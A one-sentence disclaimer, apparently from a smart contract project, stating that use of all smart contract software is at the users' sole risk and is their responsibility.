Usage of all smart contract software is at the respective users’ sole risk and is the users’ responsibility.